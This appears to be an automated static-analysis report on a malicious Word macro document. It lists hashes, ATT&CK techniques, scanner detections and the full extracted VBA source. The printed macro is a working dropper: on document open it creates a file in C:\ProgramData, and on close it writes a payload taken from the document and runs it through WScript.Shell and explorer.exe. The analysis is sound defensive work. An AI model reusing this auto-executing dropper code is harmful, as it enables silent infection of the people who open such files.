Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 346f1bb70561aa79…

MALICIOUS

Office (OOXML)

75.6 KB Created: 2020-08-26 07:22:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2020-09-15
MD5: a191b64e494955a314e028a3ef1d97bb SHA-1: 48b4fb44224d6905bf63d75187e1f1a83b3f3c9a SHA-256: 346f1bb70561aa79284db339e5f5ddc9249b3a24152284fb421ff27dceccdfb8
298 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains VBA macros with AutoOpen and Auto_Close subroutines. The AutoOpen subroutine creates a file named 'OIUTFuy' in C:\ProgramData and writes arbitrary data to it. The Auto_Close subroutine then executes this file using 'explorer.exe'. This behavior is indicative of a dropper malware.

Heuristics 8

  • ClamAV: Doc.Dropper.Sdrop-9763172-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Sdrop-9763172-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Set Rederest = CreateObject("WScript.Shell")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set Hertil = CreateObject("Scripting.FileSystemObject")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    End Sub
    Sub autoClose()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1294 bytes
SHA-256: c7a462f3cf0a32f7f7131b762f39a10ca9feaa03113536626e046bb5e4d14f98
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Trest"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Lost"
Attribute VB_Base = "0{B8460D8F-55A0-436B-AB7F-BF60B3AC207F}{22E0A7DC-E36A-4CCF-998F-E73CF186DB8D}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Module1"
Private Rederest
Private Hertil

Sub autoOpen()

Set Hertil = CreateObject("Scripting.FileSystemObject")

Set a = Hertil.CreateTextFile("C:\ProgramData\OIUTFuy", True)

a.WriteLine ("JerinTra")
a.WriteLine ("JerinTra")
a.WriteLine ("JerinTra")

a.Close
         
   Application.Quit SaveChanges:=False

End Sub
Sub autoClose()


Set Hertil = CreateObject("Scripting.FileSystemObject")

Set a = Hertil.CreateTextFile(Trest.DefaultTargetFrame, True)

a.WriteLine Lost.Droks.Caption

a.Close
         
Set Rederest = CreateObject("WScript.Shell")

Rederest.Exec "explorer.exe " & Trest.DefaultTargetFrame

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 231424 bytes
SHA-256: cc0722cb979cb3201419de28d0cafabba4277d9728e806fd0b8e629ff79a8a57
Detection
ClamAV: Doc.Dropper.Sdrop-9763172-0
Obfuscation or payload: unlikely